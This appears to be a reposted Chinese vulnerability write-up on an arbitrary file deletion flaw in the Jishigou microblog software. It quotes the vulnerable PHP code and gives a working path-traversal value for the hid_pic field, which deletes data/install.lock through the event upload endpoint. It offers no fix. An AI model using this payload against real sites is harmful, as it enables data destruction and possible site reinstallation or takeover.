当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

记事狗任意文件删除

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

前面有一篇任意文件删除了:记事狗盲注及任意文件删除

利用条件:

1.仅限于windows主机,linux无效(至少我本机就不行)
2.已注册用户
3.需要删除的文件可读写

在modules/ajax/event.mod.php中


#保护性删除图片

 function doUnlink($pic){
  if(!$pic) return false;
  $type = trim(strtolower(end(explode(".",$pic))));
  $exp = '././images/event/[0-9]{10}'.MEMBER_ID.'_b.'.$type;
  if(ereg($exp,$pic)){
   unlink($pic);
   unlink(strtr($pic,'_b.','_s.'));
   return true;
  }else {
   return false;
  }
 }

该函数在 onloadPic中被调用


if($_FILES['pic']['name']){
 //省略.....................
  $hid_pic = $this->Post['hid_pic'];
               $eid = (int) $this->Post['id'];
              $this->doUnlink($hid_pic,$eid);
 //省略.............
}

只要$_FILES['pic']['name'] 不为空,涛涛电脑知识网,然后我们就可以构造hid_pic了
hid_pic 的内容为:
././images/event/1234567890{MEMBER_ID}_b.{你要删除的文件的后缀}/../../../{你要删除的文件}

比如我们要删除./data/install.lock文件,而且我的MEMBER_ID为2 则:
././images/event/12345678902_b.lock/../../../data/install.lock


本地测试成功
实际利用:
在 index.php?mod=event&code=pevent
上传抓包,涛涛电脑知识网,然后在hid_pic底下填写././images/event/12345678902_b.lock/../../../data/install.lock 即可

修复方案:
do it yourself

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1